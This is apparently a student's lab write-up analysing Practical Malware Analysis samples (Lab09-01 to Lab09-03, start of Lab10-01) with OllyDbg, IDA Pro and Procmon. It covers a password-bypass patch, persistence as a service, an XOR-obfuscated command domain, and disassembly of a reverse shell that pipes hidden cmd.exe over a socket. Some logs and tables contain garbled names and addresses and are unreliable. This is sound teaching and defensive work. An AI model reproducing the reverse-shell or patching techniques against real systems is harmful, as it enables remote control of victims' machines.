The password for this malware to execute is “abcd”. Analyzing the function @0x00402510, we can easily derive this password. The below image contains comments that explains how I derived that the passcode is “abcd”.



iii. How can you use OllyDbg to permanently patch this malware, so that it doesn't require the special command-line password?

As mentioned in Question i, we just need to patch 0x00402B38 to jz. To patch the malware in ollydbg, run the program in ollydbg and go to the address 0x00402B38.



Right click on the address and press Ctrl-E (edit binary). Change the hex from 75 to 74 as shown below.





Figure 4. Edit Binary



The next step is to save the changes. Right click in the disassembly window and select copy to executable -> all modifications. Then proceed to save into a file.

iv. What are the host-based indicators of this malware?

To answer this question lets look at the dynamic analysis observations and IDA Pro codes.




Figure 6. Registry trails in IDA Pro

Time	Process Name	PID	Operation	Path	Result	Detail
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapping	C:\Windows\system32\kernel32.dll	SUCCESS	SyncType: SyncTy...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	RegSetValue	HKEY_SOFTWARE\Microsoft\Cryptography\RSA\Used	SUCCESS	Type: REG_BINARY
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 8,192
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 8,192
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\Lab09-01_patched.exe	SUCCESS	EndOfFile: 61,440
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\Lab09-01_patched.exe	SUCCESS	SyncType: SyncTy...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	CovertFileMapping	C:\Documents and Settings\Administrator\Desktop\Binary\Collection\Chapter_08\Lab09-01_patched	SUCCESS	SyncType: SyncTy...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	VirtualAlloc	C:\Windows\system32\kernel32.dll	SUCCESS	VirtualAlloc(0x000...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetBackupInformationFile	C:\Windows\system32\Lab09-01_patched.exe	SUCCESS	CreateFile: 1/1...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetBackupInformationFile	C:\Windows\system32\Lab09-01_patched.exe	SUCCESS	CreateFile: 4/4...
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 16,384
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 20,480
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 24,576
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 28,672
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	RegSetValue	HKEY_SOFTWARE\Microsoft\ViPS\Configuration	SUCCESS	Type: REG_BINARY
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 28,672
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 32,768
5/3/2016 9:26:14 AM	Lab09-01_patched	1196	SetEndOfFileMapperFile	C:\Windows\system32\config\software\LOG	SUCCESS	EndOfFile: 36,864

Showing 276 of 2,495,695 events (0.01%) Backed by virtual memory

Figure 7. Proc Mon captured WriteFile and RegSetValue



Regshot 1.9.0 x86 ANSI
Comments:
Datetime: 2016/3/5 09:26:14 , 2016/3/5 09:32:05
Computer: USER-FCC21C8345 , USER-FCC21C8345
Username: Administrator , Administrator

Keys added: 9

HKLM\SOFTWARE\Microsoft
HKLM\SOFTWARE\Microsoft \XPS
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\Security
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\Security

Figure 8.

Regshot captured registry creation and service creation

```
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\Type: 0x00000020
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\Start: 0x00000002
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\ErrorControl: 0x00000001
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\ImagePath: "%SYSTEMROOT%\system32\Lab09-01_patched.exe"
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\DisplayName: "Lab09-01_patched Manager Service"
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\ObjectName: "LocalSystem"
HKLM\SYSTEM\ControlSet001\services\Lab09-01_patched\Security\security: 01 00 14 80 90 00 00 00 9C 00 00 00 14 0C
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\Type: 0x00000020
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\Start: 0x00000002
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\ErrorControl: 0x00000001
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\ImagePath: "%SYSTEMROOT%\system32\Lab09-01_patched.exe"
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\DisplayName: "Lab09-01_patched Manager Service"
HKLM\SYSTEM\CurrentControlSet\services\Lab09-01_patched\ObjectName: "LocalSystem"
```

Figure 9. The service created in registry




Figure 10. Services.msc

1. HKLM\Software\Microsoft\XPS\Configuration
2. Lab09-01_patched Manager Service
3. %SYSTEMROOT%\system32\Lab09-01_patched.exe

v. What are the different actions this malware can be instructed to take via the network?

If no argument is passed into the executable, the malware will call the function @0x00402360. This function will parse the registry "HKLM\Software\Microsoft\XPS\Configuration" and call function 0x00402020 to execute the malicious functions.

Analyzing the function @0x00402020, we can conclude that the malware is capable of doing the following tasks

1. Sleep
2. Upload (save a file to the victim machine)
3. Download (extract out a file from the victim machine)
4. Execute Command
5. Do Nothing

vi. Are there any useful network-based signatures for this malware?




Figure 11. Network Traffic

From wireshark, we can see that the malware is attempting to retrieve commands from <http://www.practicalmalwareanalysis.com>. A random page(XXXX/XXX.XXX) is retrieved from the server using HTTP/1.0. Note that the evil domain can be changed, therefore by fixing the network based signature to just practicalmalwareanalysis.com is not sufficient.

e. Analyze the malware found in the file Lab09-02.exe using OllyDbg to answer the following questions.

- What strings do you see statically in the binary?

Address	Length	Type	String
's' .rdata:004040CC	0000000F	C	runtime error
's' .rdata:004040E0	0000000E	C	TLOSS error\r\n
's' .rdata:004040F0	0000000D	C	SING error\r\n
's' .rdata:00404100	0000000F	C	DOMAIN error\r\n
's' .rdata:00404110	00000025	C	R6028\r\n- unable to initialize heap\r\n
's' .rdata:00404138	00000035	C	R6027\r\n- not enough space for lowio initialization\r\n
's' .rdata:00404170	00000035	C	R6026\r\n- not enough space for stdio initialization\r\n
's' .rdata:004041A8	00000026	C	R6025\r\n- pure virtual function call\r\n
's' .rdata:004041D0	00000035	C	R6024\r\n- not enough space for _onexit/atexit table\r\n
's' .rdata:00404208	00000029	C	R6019\r\n- unable to open console device\r\n
's' .rdata:00404234	00000021	C	R6018\r\n- unexpected heap error\r\n
's' .rdata:00404258	0000002D	C	R6017\r\n- unexpected multithread lock error\r\n
's' .rdata:00404288	0000002C	C	R6016\r\n- not enough space for thread data\r\n
's' .rdata:004042B4	00000021	C	\nabnormal program termination\r\n
's' .rdata:004042D8	0000002C	C	R6009\r\n- not enough space for environment\r\n
's' .rdata:00404304	0000002A	C	R6008\r\n- not enough space for arguments\r\n
's' .rdata:00404330	00000025	C	R6002\r\n- floating point not loaded\r\n
's' .rdata:00404358	00000025	C	Microsoft Visual C++ Runtime Library
's' .rdata:00404384	0000001A	C	Runtime Error\r\nProgram:
's' .rdata:004043A4	00000017	C	<program name unknown>
's' .rdata:004043BC	00000013	C	GetLastActivePopup
's' .rdata:004043D0	00000010	C	GetActiveWindow
's' .rdata:004043E0	0000000C	C	MessageBoxA
's' .rdata:004043EC	0000000B	C	user32.dll
's' .rdata:00404562	0000000D	C	KERNEL32.dll
's' .rdata:0040457E	0000000B	C	WS2_32.dll
's' .data:0040511E	00000006	unic...	@\t
's' .data:00405126	00000006	unic...	@\n
's' .data:00405166	00000006	unic...	@\x1B
's' .data:00405176	00000006	unic...	@x
's' .data:0040517E	00000006	unic...	@y
's' .data:00405186	00000006	unic...	@z
's' .data:004051AC	00000006	C	'♦y♦!

Nothing useful...

2ii What happens when you run this binary?

The program just terminates without doing anything.

iii. How can you get this sample to run its malicious payload?

```

mov    [ebp+var_1B0], '1'
mov    [ebp+var_1AF], 'q'
mov    [ebp+var_1AE], 'a'
mov    [ebp+var_1AD], 'z'
mov    [ebp+var_1AC], '2'
mov    [ebp+var_1AB], 'w'
mov    [ebp+var_1AA], 's'
mov    [ebp+var_1A9], 'x'
mov    [ebp+var_1A8], '3'
mov    [ebp+var_1A7], 'e'
mov    [ebp+var_1A6], 'd'
mov    [ebp+var_1A5], 'c'
mov    [ebp+var_1A4], '0'
mov    [ebp+var_1A0], 'o'
mov    [ebp+var_19F], 'c'
mov    [ebp+var_19E], 'l'
mov    [ebp+var_19D], '.'
mov    [ebp+var_19C], 'e'
mov    [ebp+var_19B], 'x'
mov    [ebp+var_19A], 'e'
mov    [ebp+var_199], '0'
mov    ecx, 8
mov    esi, offset unk_405034
lea    edi, [ebp+var_1F0]
rep movsd
movsb
mov    [ebp+var_1B8], 0
mov    [ebp+Filename], 0
mov    ecx, 43h
xor    eax, eax
lea    edi, [ebp+var_2FF]
rep stosd
stosb
push   10Eh           ; nSize
lea    eax, [ebp+Filename]
push   eax             ; lpFileName
push   0               ; hModule
call   ds:GetModuleFileNameA
push   '\'              ; int
lea    ecx, [ebp+Filename]
push   ecx             ; char *
call   _strrchr         ; pointer to last occurrence
add    esp, 8
mov    [ebp+var_4], eax
mov    edx, [ebp+var_4]
add    edx, 1            ; remove \
mov    [ebp+var_4], edx
mov    eax, [ebp+var_4]
push   eax             ; current executable name
lea    ecx, [ebp+var_1A0]
push   ecx             ; ocl.exe
call   _strcmp
add    esp, 8
test   eax, eax
jz    short loc 40124C

```

Figure 1. ocl.exe

From the above flow graph in main function, we can see that the binary retrieves its own executable name via `GetModuleFileNameA`. It then strip the path using `_strrchr`. The malware then compares the filename with “ocl.exe”. If it doesn’t match, the malware will terminates. Therefore to run the malware we must name it as “ocl.exe”.

iv. What is happening at 0x00401133?

```

.text:00401133    mov    [ebp+var_1B0], '1'
.text:0040113A    mov    [ebp+var_1AF], 'q'
.text:00401141    mov    [ebp+var_1AE], 'a'
.text:00401148    mov    [ebp+var_1AD], 'z'
.text:0040114F    mov    [ebp+var_1AC], '2'
.text:00401156    mov    [ebp+var_1AB], 'w'
.text:0040115D    mov    [ebp+var_1AA], 's'
.text:00401164    mov    [ebp+var_1A9], 'x'
.text:0040116B    mov    [ebp+var_1A8], '3'
.text:00401172    mov    [ebp+var_1A7], 'e'
.text:00401179    mov    [ebp+var_1A6], 'd'
.text:00401180    mov    [ebp+var_1A5], 'c'
.text:00401187    mov    [ebp+var_1A4], '8'

```

Figure 2. some passphrase?

We can see in the opcode that a string is formed character by character. The string is “1qaz2wsx3edc”. The way the author created the string prevented IDA Pro from displaying it as a normal string.

v. What arguments are being passed to subroutine 0x00401089?




Figure 3. GetHostName

From the above ollydbg image, we can see that the string “1qaz2wsx3edc” is passed in to the subroutine 0x00401089. An unknown pointer (0x0012FD90) is also passed in.




Figure 4. XOR decoding

Stepping into the subroutine, you will realize that the malware is trying to decode a string(0x0012FD90) with the xor key (1qaz2wsx3edc). As shown above, we can start to see the decoded string taking shape.

6. What domain name does this malware use?





Figure 5. Domain Decoded

<http://www.practicalmalwareanalysis.com>

7. What encoding routine is being used to obfuscate the domain name?

As mentioned in question 5, XOR is used to obfuscate the domain name.

8. What is the significance of the CreateProcessA call at 0x0040106E?



A

Figure 6. connecting to
practicalmalwareanalysis.com:9999

The first block shows that we get the decoded domain name and get the ip by using [gethostbyname](#). In the second block, we can see that it is trying to connect to the derived ip at

port 9999. In the third block, we can see that socket s is passed into the CommandExecution subroutine as last argument.

```
CommandExecution proc near
StartupInfo= _STARTUPINFOA ptr -58h
var_14= dword ptr -14h
ProcessInformation= _PROCESS_INFORMATION ptr -10h
arg_10= dword ptr 10h

push    ebp
mov     ebp, esp
sub    esp, 58h
mov     [ebp+var_14], 0
push    44h          ; size_t
push    0             ; int
lea      eax, [ebp+StartupInfo]
push    eax           ; void *
call    _memset
add     esp, 0Ch
mov     [ebp+StartupInfo.cb], 44h
push    10h          ; size_t
push    0             ; int
lea      ecx, [ebp+ProcessInformation]
push    ecx           ; void *
call    _memset
add     esp, 0Ch
mov     [ebp+StartupInfo.dwFlags], 10h
mov     [ebp+StartupInfo.wShowWindow], 0
mov     edx, [ebp+arg_10]
mov     [ebp+StartupInfo.hStdInput], edx
mov     eax, [ebp+StartupInfo.hStdInput]
mov     [ebp+StartupInfo.hStdError], eax
mov     ecx, [ebp+StartupInfo.hStdError]
mov     [ebp+StartupInfo.hStdOutput], ecx
lea      edx, [ebp+ProcessInformation]
push    edx           ; lpProcessInformation
lea      eax, [ebp+StartupInfo]
push    eax           ; lpStartupInfo
push    0             ; lpCurrentDirectory
push    0             ; lpEnvironment
push    0             ; dwCreationFlags
push    1             ; bInheritHandles
push    0             ; lpThreadAttributes
push    0             ; lpProcessAttributes
push    offset CommandLine ; "cmd"
push    0             ; lpApplicationName
call    ds>CreateProcessA
mov     [ebp+var_14], eax
push    OFFFFFFFFh     ; dwMilliseconds
```

Figure 7. passing io to socket

From the above figure, we can see that the StartupInfo's hStdInput, hStdOutput, hStdError now points to the socket s. In other words, all input and output that we see in cmd.exe console will now be transmitted over the network. The CreateProcessA call for cmd.exe and is hidden via wShowWindow flag set to SW_HIDE(0). What it all meant was that a reverse shell is spawned to receive commands from the attacker's server.

f. Analyze the malware found in the file Lab09-03.exe using OllyDbg and IDA Pro. This malware loads three included DLLs (DLL1.dll, DLL2.dll, and DLL3.dll) that are all built to request the same memory load location. Therefore, when viewing these DLLs in OllyDbg versus IDA Pro, code may appear at different memory locations. The purpose of this lab is to make you comfortable with finding the correct location of code within IDA Pro when you are looking at code in OllyDbg

i. What DLLs are imported by Lab09-03.exe?

Address	Ordinal	Name	Library
00405000		DLL1Print	DLL1
0040500C		DLL2Print	DLL2
00405008		DLL2ReturnJ	DLL2
00405080		GetStringTypeW	KERNEL32
004050AC		LCMapStringA	KERNEL32
004050A8		MultiByteToWideChar	KERNEL32
004050A4		HeapReAlloc	KERNEL32
004050A0		VirtualAlloc	KERNEL32
0040509C		GetOEMCP	KERNEL32
00405098		GetACP	KERNEL32
00405094		GetCPIInfo	KERNEL32
00405090		HeapAlloc	KERNEL32
0040508C		RtlUnwind	KERNEL32
00405088		HeapFree	KERNEL32
00405084		VirtualFree	KERNEL32
00405080		HeapCreate	KERNEL32
0040507C		HeapDestroy	KERNEL32
00405078		GetVersionExA	KERNEL32
00405074		GetEnvironmentVariableA	KERNEL32
00405070		GetModuleHandleA	KERNEL32
0040506C		GetStartupInfoA	KERNEL32
00405068		GetFileType	KERNEL32
00405064		GetStdHandle	KERNEL32
00405060		SetHandleCount	KERNEL32
0040505C		GetEnvironmentStringsW	KERNEL32
00405058		GetEnvironmentStrings	KERNEL32
00405054		WideCharToMultiByte	KERNEL32
00405050		FreeEnvironmentStringsW	KERNEL32
0040504C		FreeEnvironmentStringsA	KERNEL32
00405048		GetModuleFileNameA	KERNEL32
00405044		UnhandledExceptionFilter	KERNEL32
00405040		GetCurrentProcess	KERNEL32
0040503C		TerminateProcess	KERNEL32
00405038		ExitProcess	KERNEL32
00405034		GetVersion	KERNEL32
00405030		GetCommandLineA	KERNEL32
0040502C		Sleep	KERNEL32
00405028		GetStringTypeA	KERNEL32
00405024		GetProcAddress	KERNEL32
00405020		LoadLibraryA	KERNEL32
0040501C		CloseHandle	KERNEL32
00405018		LCMapStringW	KERNEL32
00405014		WriteFile	KERNEL32
004050B8		NetScheduleInhAdd	NFTAPI32

Figure 1. imports

From IDA Pro we can see that DLL1, DLL2, KERNEL32 and NETAPI32 is imported by the malware. During runtime we can see more dlls being imported.

Executable modules						
Base	Size	Entry	Name	File / Version	Path	
00330000 00002000 00331174	DLL1			C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_9\DLL1.dll		
00330000 00003000 003311H3	DLL2			C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_9\DLL2.dll		
00400000 00005000 004010C7	Lab09-09			C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_9\Lab09-09.exe		
10000000 00001000 10001000	L1			C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_9\L1.dll		
5B950000 00055000 5B950000	NETAPI32	E 1.2500.5512	{C:\WINDOWS\system32\NETAPI32.dll}			
71000000 00005000 71001000	USER32	E 1.2500.5512	{C:\WINDOWS\system32\USER32.dll}			
71000000 00017000 71001277	OLE32	E 1.2500.5512	{C:\WINDOWS\system32\OLE32.dll}			
76230000 00017000 76231200	THRM2	E 1.2500.5512	{C:\WINDOWS\system32\THRM2.dll}			
76230000 00017000 76231200	lph (api)	E 1.2500.5512	{C:\WINDOWS\system32\lph (api).dll}			
77C10000 00053000 77C1F2R1	newvert	E 0.2500.5512	{C:\WINDOWS\system32\newvert.dll}			
77C70000 00024000 77D74854	newvt_0	E 1.2500.5512	{C:\WINDOWS\system32\newvt_0.dll}			
77D00000 00076000 77D070F8	RPCRT4	E 1.2500.5512	{C:\WINDOWS\system32\RPCRT4.dll}			
77E10000 00047000 77E1484C	RPCRT4	E 1.2500.5512	{C:\WINDOWS\system32\RPCRT4.dll}			
77E10000 00047000 77E1484C	RPCRT4	E 1.2500.5512	{C:\WINDOWS\system32\RPCRT4.dll}			
77E10000 00011000 77FE3118	Secur32	E 1.2500.5512	{C:\WINDOWS\system32\Secur32.dll}			
7C000000 0004F5000 7C9863E Kernel32	Kernel32	E 1.2500.5512	{C:\WINDOWS\system32\Kernel32.dll}			
7C900000 0004F5000 7C9863E	ntdll	E 1.2500.5512	{C:\WINDOWS\system32\ntdll.dll}			
7E410000 00091000 7E410217	USER32	E 1.2500.5512	{C:\WINDOWS\system32\USER32.dll}			

Figure 2. DLL3.dll being imported during runtime

ii. What is the base address requested by DLL1.dll, DLL2.dll, and DLL3.dll?

Loading the dll in IDA Pro we can see the base address that each dll requests for. Turns out that all 3 dlls requests for the same image base at address 0x10000000.

```
; File Name : D:\Practical Malware Analysis\Practical Malware Analysis Labs\BinaryCollection\Chapter_9\DLL3.dll
; Format : Portable executable for #0386 (PE)
; Imagebase : 10000000
; Section 1. (virtual address 00001000)
; Virtual size : 00005540 ( 21804.)
; section size in File : 00006000 ( 24576.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
; OS type : MS Windows
; application type: DLL 32bit
```

Figure 3. Imagebase: 0x10000000


iii. When you use OllyDbg to debug Lab09-03.exe, what is the assigned based address for: DLL1.dll, DLL2.dll, and DLL3.dll?

From figure 2, we can observe that the base address for DLL1.dll is @0x10000000, DLL2.dll is @0x330000 and DLL3.dll is @0x390000.

iv. When Lab09-03.exe calls an import function from DLL1.dll, what does this import function do?

```
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main          proc near             ; CODE XREF: start+8F4p
.text:00401000
.text:00401000 Buffer        = dword ptr -1Ch
.text:00401000 hFile         = dword ptr -18h
.text:00401000 hModule       = dword ptr -14h
.text:00401000 var_10         = dword ptr -10h
.text:00401000 NumberOfBytesWritten= dword ptr -0Ch
.text:00401000 var_8          = dword ptr -8
.text:00401000 JobId         = dword ptr -4
.text:00401000 argc          = dword ptr 8
.text:00401000 argv          = dword ptr 0Ch
.text:00401000 envp          = dword ptr 10h
.text:00401000
.text:00401000                 push    ebp
.text:00401001                 mov     ebp, esp
.text:00401003                 sub    esp, 1Ch
.text:00401006                 call   ds:DLL1Print
.text:0040100C                 call   ds:DLL2Print
.text:00401012                 call   ds:DLL2ReturnJ
.text:00401018                 mov    [ebp+hFile], eax
.text:0040101B                 push   0           ; lpOverlapped
```

Figure 4. Calling DLL1Print



The screenshot shows the assembly view in IDA Pro. The title bar reads "IDA Pro" and "; Exported entry 1. DLL1Print". The assembly code is as follows:

```
; Exported entry 1. DLL1Print

; Attributes: bp-based frame

public DLL1Print
DLL1Print proc near
push    ebp
mov     ebp, esp
mov     eax, dword_10008030
push    eax
push    offset aDll1MysteryDat ; "DLL 1 mystery data %d\n"
call   printf
add    esp, 8
pop    ebp
retn
DLL1Print endp
```

Figure 5. DLL1Print

From figure 4, we can see that DLL1Print is called. In figure 1, we can see that DLL1Print is imported from DLL1.dll. Opening DLL1.dll in IDA Pro, we can conclude that DLL 1 mystery data %d\n is printed out. However %d is filled with values in dword_10008030 a global variable. xref check on this global variable suggests that it is being set by @0x10001009.

```
; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hinstDLL= dword ptr  8
FdwReason= dword ptr  0Ch
lpvReserved= dword ptr  10h

push    ebp
mov     ebp, esp
call    ds:GetCurrentProcessId
mov     dword_10008030, eax
mov     a1, 1
pop     ebp
retn   0Ch
_DllMain@12 endp
```

Figure 6. Setting global variable with process id

The above figure shows that once the dll is loaded, it will query its own process id and set the global variable dword_1008030 to the retrieved process id. To conclude DLL1Print will print out “DLL 1 mystery data [CurrentProcess ID]”.

v. When Lab09-03.exe calls WriteFile, what is the filename it writes to?

```
.text:00401000
.text:00401000      push    ebp
.text:00401001      mov     ebp, esp
.text:00401003      sub     esp, 1Ch
.text:00401006      call    ds:DLL1Print
.text:0040100C      call    ds:DLL2Print
.text:00401012      call    ds:DLL2ReturnJ ; get a File Handle
.text:00401018      mov     [ebp+hFile], eax ; eax contains handle to file
.text:0040101B      push    0           ; lpOverlapped
.text:0040101D      lea     eax, [ebp+NumberOfBytesWritten]
.text:00401020      push    eax          ; lpNumberOfBytesWritten
.text:00401021      push    17h          ; nNumberOfBytesToWrite
.text:00401023      push    offset aMalwareanalysis ; "malwareanalysisbook.com"
.text:00401028      mov     ecx, [ebp+hFile]
.text:0040102B      push    ecx          ; hFile
.text:0040102C      call    ds:WriteFile
```

Figure 7. File Handle from DLL2ReturnJ

Analyzing Lab09-03.exe, we can see that the File Handle is retrieved from DLL2ReturnJ subroutine (imported from DLL2.dll)

```

; Exported entry 2. DLL2ReturnJ

; Attributes: bp-based frame

public DLL2ReturnJ
DLL2ReturnJ proc near
push    ebp
mov     ebp, esp
mov     eax, dword_1000B078
pop    ebp
retn
DLL2ReturnJ endp

```

Figure 8. DLL2ReturnJ

From the above image, DLL2ReturnJ returns a global variable taken from dword_1000B078.

```

; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
_DllMain@12 proc near

hinstDLL= dword ptr  8
fdwReason= dword ptr  0Ch
lpvReserved= dword ptr  10h

push    ebp
mov     ebp, esp
push    0          ; hTemplateFile
push    80h        ; dwFlagsAndAttributes
push    2          ; dwCreationDisposition
push    0          ; lpSecurityAttributes
push    0          ; dwShareMode
push    40000000h   ; dwDesiredAccess
push    offset FileName ; "temp.txt"
call    ds>CreateFileA
mov     dword_1000B078, eax
mov     al, 1
pop    ebp
retn
_DllMain@12 endp

```

Figure 9. DLL's DLLMain

From the above image, things become clear. The returned File Handle points to temp.txt.

vi. When Lab09-03.exe creates a job using NetScheduleJobAdd, where does it get the data for the second parameter?

According to msdn, [NetScheduleJobAdd](#) submits a job to run at a specified future time and date. The second parameter is a pointer to a [AT_INFO](#) Structure

```

NET_API_STATUS NetScheduleJobAdd(
    _In_opt_ LPCWSTR Servername,

```

```

_In_     LPBYTE Buffer,
_Out_    LPDWORD JobId
);

.text:00401030      call  ds:CloseHandle
.text:0040103C      push  offset LibFileName ; "DLL3.dll"
.text:00401041      call  ds:LoadLibraryA
.text:00401047      mov   [ebp+hModule], eax
.text:0040104A      push  offset ProcName ; "DLL3Print"
.text:0040104F      mov   eax, [ebp+hModule]
.text:00401052      push  eax           ; hModule
.text:00401053      call  ds:GetProcAddress
.text:00401059      mov   [ebp+var_8], eax
.text:0040105C      call  [ebp+var_8]
.text:0040105F      push  offset a0113getstructu ; "DLL3GetStructure"
.text:00401064      mov   ecx, [ebp+hModule]
.text:00401067      push  ecx           ; hModule
.text:0040106B      call  ds:GetProcAddress
.text:0040106E      mov   [ebp+var_10], eax
.text:00401071      lea   edx, [ebp+Buffer]
.text:00401074      push  edx
.text:00401075      call  [ebp+var_10]    ; DLL3GetStructure
.text:00401078      add   esp, 4
.text:0040107B      lea   eax, [ebp+JobId]
.text:0040107E      push  eax           ; JobId
.text:0040107F      mov   ecx, [ebp+Buffer]
.text:00401082      push  ecx           ; Buffer
.text:00401083      push  0              ; Servername
.text:00401085      call  NetScheduleJobAdd
.....
```

Figure 10. AT_INFO structure

From Lab09-03.exe we can see that it is loading a dll dynamically during runtime by first calling [LoadLibraryA](#)("DLL3.dll") then [GetProcAddress](#)("DLL3Print") to get the pointer to the export function. The pointer is then called to get the AT_INFO structure.

```

; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD FdwReason, LPVOID lpvReserved)
.DllMain@12 proc near             ; CODE XREF: DllEntryPoint+4B4p
lpMultiByteStr = dword ptr -4
hinstDLL      = dword ptr  8
FdwReasonn   = dword ptr 0Ch
lpvReserved   = dword ptr 10h

push  ebp
mov   ebp, esp
push  ecx
mov   [ebp+lpMultiByteStr], offset aPingWww_malwar ; "ping www.malwareanalysisbook.com"
push  32h          ; cchWideChar
push  offset WideCharStr ; lpWideCharStr
push  0FFFFFFFh   ; cbMultiByte
mov   eax, [ebp+lpMultiByteStr]
push  eax          ; lpMultiByteStr
push  0              ; dwFlags
push  0              ; CodePage
call  ds:MultiByteToWideChar
mov   stru_100000AB.Command, offset WideCharStr
mov   stru_100000AB.JobTime, 36d0000
mov   stru_100000AB.DaysOfMonth, 0 ; day of month
mov   stru_100000AB.DaysOfWeek, 127 ; day of week
mov   stru_100000AB.Flags, 10001b ; flag
mov   al, 1
```

Figure 11. Get AT_INFO Structure

vii. While running or debugging the program, you will see that it prints out three pieces of mystery data. What are the following: DLL 1 mystery data 1, DLL 2 mystery data 2, and DLL 3 mystery data 3?

- DLL 1 mystery data prints out the current process id
- DLL 2 mystery data prints out the CreateFileA's handle
- DLL 3 mystery data prints out the decimal value of the address to the command string "ping <http://www.malwareanalysisbook.com”>;

viii. How can you load DLL2.dll into IDA Pro so that it matches the load address used by OllyDbg?




Figure 12. Manual Load

Select Manual Load checkbox when opening DLL2.dll in IDA Pro. You will be prompted to enter new image base address.

Practical No. 4

a. This lab includes both a driver and an executable. You can run the executable from anywhere, but in order for the program to work properly, the driver must be placed in the C:\Windows\System32 directory where it was originally found on the victim computer. The executable is Lab10-01.exe, and the driver is Lab10-01.sys

i. Does this program make any direct changes to the registry? (Use procmon to check.)

Not really. Looking at the following figure, the only direct changes made by the malware is RNG\Seed. However if you were to look into the registries created by services.exe, we will see that it is trying to add a service.

Time	Process Name	PID	Operation	Path	Result	Detail
0:24.1	Lab10-01.exe	1704	RegSetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\AesNistSeed	SUCCESS	Type: REG_BINARY
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Type	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegSetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Start	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\EnterControl	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegSetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\ImagePath	SUCCESS	Type: REG_EXPAND_SZ
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\DisplayName	SUCCESS	Type: REG_SZ
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\Security\Security	SUCCESS	Type: REG_BINARY
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\NtEvidence	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\NtEvidence	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\Legacy	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegGetValue	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\Legacy	SUCCESS	Type: REG_DWORD
0:24.1	services.exe	704	RegCreateKey	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lab10-01\NtEvidence\ConfigFlags	SUCCESS	Type: REG_DWORD
